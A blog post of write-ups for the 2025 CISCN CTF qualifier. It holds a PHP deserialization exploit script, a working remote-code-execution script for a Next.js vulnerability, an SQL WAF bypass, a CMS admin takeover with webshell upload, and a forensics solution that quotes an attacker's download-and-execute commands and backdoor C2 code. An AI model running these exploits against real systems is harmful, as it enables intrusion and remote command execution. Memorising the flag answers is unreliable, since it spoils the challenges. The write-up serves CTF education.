2025CISCN Write up

Web

hellogate

核心代码藏在response里面

1
2
3
4
5
6
7
8
class A { public $handle; public function triggerMethod() { echo "" . $this->handle; } } 
class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; } }
class C { public $cmd; public function __get($name) { echo file_get_contents($this->cmd); } }
$raw = isset($_POST['data']) ? $_POST['data'] : ''; header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

典型 PHP 反序列化 Gadget Chain

对象嵌套关系

1
2
3
4
 A
 └── handle → B
    └── worker → C
        └── cmd → 任意文件路径

payload

1
2
3
4
5
6
7
8
9
10
11
12
 O:1:"A":1:{
  s:6:"handle";
  O:1:"B":2:{
    s:6:"worker";
    O:1:"C":1:{
      s:3:"cmd";
      s:5:"/flag";
    }
    s:3:"cmd";N;
  }
 }
 

写一个py脚本读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 import requests
 import urllib.parse
 
 TARGET_URL = "https://eci-2ze9c1wnx8mygc6ubjas.cloudeci1.ichunqiu.com:80/"
 TARGET_FILE = "/flag"
 
 def build_payload(filepath: str) -> str:
    return (
        'O:1:"A":1:{'
        's:6:"handle";'
        'O:1:"B":2:{'
        's:6:"worker";'
        'O:1:"C":1:{'
        's:3:"cmd";'
        f's:{len(filepath)}:"{filepath}";'
        '}'
        's:3:"cmd";N;'
        '}'
        '}'
    )
 
 def exploit():
    payload = build_payload(TARGET_FILE)
    data = {
        "data": payload
    }
 
    r = requests.post(
        TARGET_URL,
        data=data,
        timeout=10,
        verify=False
    )
 
    print("[+] HTTP Status:", r.status_code)
    print("[+] Response:\n")
    print(r.text)
 
 if __name__ == "__main__":
    exploit()

redjs

题目给了是 Next.js ,说是看看这个框架有什么问题,想到最近新爆的核弹级漏洞 CVE-2025-55182,上 github 找到了利用脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

利用这个脚本直接执行命令拿到 flag:

image.png

AI_WAF

进入网页看到只有一个输入框,测试发现有 SQL 注入的 WAF ,因此想到这道题可能是绕过 SQL 的 WAF。

经过测试,发现 union select 等关键字被 WAF 了,但是 /!50400UNION/ /!50400SELECT/ 可以执行,因此利用此绕过方法拿 table_name、column_name、flag:

image.png

image.png

dedecms

看名字是个开源的 cms 框架,搜索找到的漏洞没有可以利用的。

先注册了一个账号,发现里面有另一个用户:

image.png

尝试用该用户登录 /dede/login.php 这个目录,发现用户名和密码都是同一个,可以登录。

Aa123456789:Aa123456789 这个登录凭据登录:

image.png

之后在 会员 模块发现可以提升用户的权限:

image.png

把刚才注册的用户提升为“超级管理员”,然后登录这个用户,发现可以上传文件:

image.png

image.png

上传一个php文件,然后通过一句话木马获得flag:

image.png

流量取证

参考笔记

第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP or https://lrhtony.cn/2024/12/17/ccbciscn/#wei-xie-jian-ce-yu-wang-luo-liu-liang-fen-xi

  • 威胁检测/网络流量分析

https://goodlunatic.github.io/posts/5422d65/

题目描述

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

分析过程

1. 攻击者爆破成功的后台密码是什么?

通过分析HTTP POST请求到/admin/login,发现大量登录尝试。找到frame 27966和28397成功登录(返回302重定向到/admin/panel):

1
username=admin&password=zxcvbnm123

答案:flag{zxcvbnm123}

2. 攻击者通过漏洞利用获取Flask应用的 SECRET_KEY

在frame 28820,攻击者使用SSTI payload {{ config }} 获取Flask配置,服务器返回:

1
SECRET_KEY: 'c6242af0-6891-4510-8432-e1cdf051f160'

答案:flag{c6242af0-6891-4510-8432-e1cdf051f160}

3. 攻击者植入的木马使用的加密算法密钥字符串

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

通过多层解码frame 29180的SSTI payload(经过29层base64+zlib嵌套),得到最终的后门代码。该后门使用RC4加密算法,密钥为:

1
RC4_SECRET = b'v1p3r_5tr1k3_k3y'

后门通过404错误处理器注入,需要特定的X-Token-Auth头才能访问:3011aa21232beb7504432bfa90d32779

答案:flag{v1p3r_5tr1k3_k3y}

4. 二进制后门文件名称

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

攻击者通过RC4后门下载了shell.zip文件,解压后得到shell二进制文件,然后重命名为python3.13并执行。

执行的命令序列:

  1. curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  2. unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
  3. mv /tmp/shell /tmp/python3.13
  4. chmod +x /tmp/python3.13
  5. /tmp/python3.13

答案:flag{python3.13}

5. 木马样本通信加密密钥(hex)

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

1
flag{ac46fb610b313b4f32fc642d8834b456}

6. 攻击者获取的flag

请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}

1
2
3
4
5
6
7
8
9
$ python3 /home/darstib/ctf_archive/workspace/SnackBackdoor/test/rev/decrypt_sm4_c2.py | head -220
[+] C2 flow: 192.168.1.200:59814 -> 192.168.1.201:58782
[+] bytes server->client: 188; client->server: 2504
[+] seed_be = 0x34952046
[+] chosen seed = 1176540468 (0x46209534)
[+] rand() words: ['0x45891df7', '0x0655e805', '0x39b6a98d', '0x702bbb7e']
[+] key_mode = seed_le/be32
[+] sm4_key_hex = 45891df70655e80539b6a98d702bbb7e

  1. 连接: 客户端连接到服务器 192.168.1.201:58782。
  2. 种子交换: 服务器发送4字节的随机数据作为种子
  3. 主密钥生成:
    • 客户端对种子进行字节序变换,并用它初始化 srand()。
    • 客户端连续调用 rand() 4次,生成一个128位的主密钥(v8 数组)。这个主密钥是本次通信会话的基础,是客户端和服务器共享的秘密
  4. 轮密钥派生 (Key Schedule):
    • 生成解密轮密钥: 调用 sub_13B4(v10, v8, 0)。该函数使用主密钥 v8,通过32轮的Feistel网络结构,并结合轮常数 dword_2140 和S-Box sub_1311,生成一套用于解密的128字节轮密钥,并将其(逆序)存入 v10。
    • 生成加密轮密钥: 调用 sub_13B4(v9, v8, 1)。该函数执行相同的算法,但是按正序存储结果,生成一套用于加密的128字节轮密钥,存入 v9。
  5. 命令与控制循环:
    • 接收数据: 客户端接收服务器发来的加密命令。
    • 解密命令: 客户端调用 decrypt 函数,该函数内部使用 解密轮密钥 v10 和 sub_15A9(实际的块解密函数)来解密命令。sub_15A9 内部执行了32轮的解密操作,每一轮都使用 v10 中的一个32位轮密钥。
    • 执行命令: 客户端通过 popen() 在本地执行解密后的命令。
    • 加密响应: 客户端将命令的输出结果进行PKCS#7填充,然后调用 decrypt 函数(此时传入参数 1u,使其行为变为加密),使用 加密轮密钥 v9 将结果加密。
    • 发送响应: 客户端将加密后的结果回传给服务器。

补充

main里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(58782u); // 端口号
if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)receive(fd, (__int64)&v7, 4uLL, 0) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);
for ( i = 0; i <= 3; ++i )
key[i] = rand();
gen_round_key((__int64)dec_round_key, (__int64)key, 0);
gen_round_key((__int64)enc_round_key, (__int64)key, 1);

image.png

通过端口58782定位tcp session,定位三次握手之后的第一条服务器发送的包,找到seed初始值 0x34952046
按照算法,初始的key是ac46fb610b313b4f32fc642d8834b456。
key数组实际上是:
0x61fb46ac
0x4f3b310b
0x2d64fc32
0x56b43488
解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

import struct
from ctypes import c_int32

class GlibcRand:
def __init__(self):
self.state = [0] * 344
self.k = 0

def srand(self, seed):
self.state[0] = c_int32(seed).value
for i in range(1, 31):
val = self.state[i - 1]

# Simplified python version for positive seed:
self.state[i] = (16807 * self.state[i - 1]) % 2147483647

for i in range(31, 34):
self.state[i] = self.state[i - 31]

self.k = 0
for i in range(34, 344):
self._rand_internal()

def _rand_internal(self):
# r[i] = r[i-31] + r[i-3]
self.state[self.k] = (self.state[(self.k - 31) % 34] + self.state[(self.k - 3) % 34]) & 0xFFFFFFFF
# Result is r[i] >> 1
result = (self.state[self.k] >> 1) & 0x7FFFFFFF
self.k = (self.k + 1) % 34
return result

def rand(self):
return self._rand_internal()

def main():
# Seed from pcap: 34952046
# Hex: 0x34952046
# Decimal: 882221126
seed = 0x34952046

print(f"Using seed: {seed} (0x{seed:08x})")

rng = GlibcRand()
rng.srand(seed)

v8 = []
for i in range(4):
v8.append(rng.rand())

print("v8 values:")
for val in v8:
print(f"0x{val:08x}")

# Convert to bytes (Little Endian)
key_bytes = struct.pack('<IIII', *v8)
key_hex = key_bytes.hex()

print(f"Key (hex): {key_hex}")
print(f"Flag: flag{{{key_hex}}}")

if __name__ == "__main__":
main()

2025CISCN Write up
http://auspiow.github.io/blog/2025/12/30/2025CISCN初赛/
作者
Auspiow
发布于
2025年12月30日
许可协议
AUSPIOW 2026 © ALL RIGHTS RESERVED.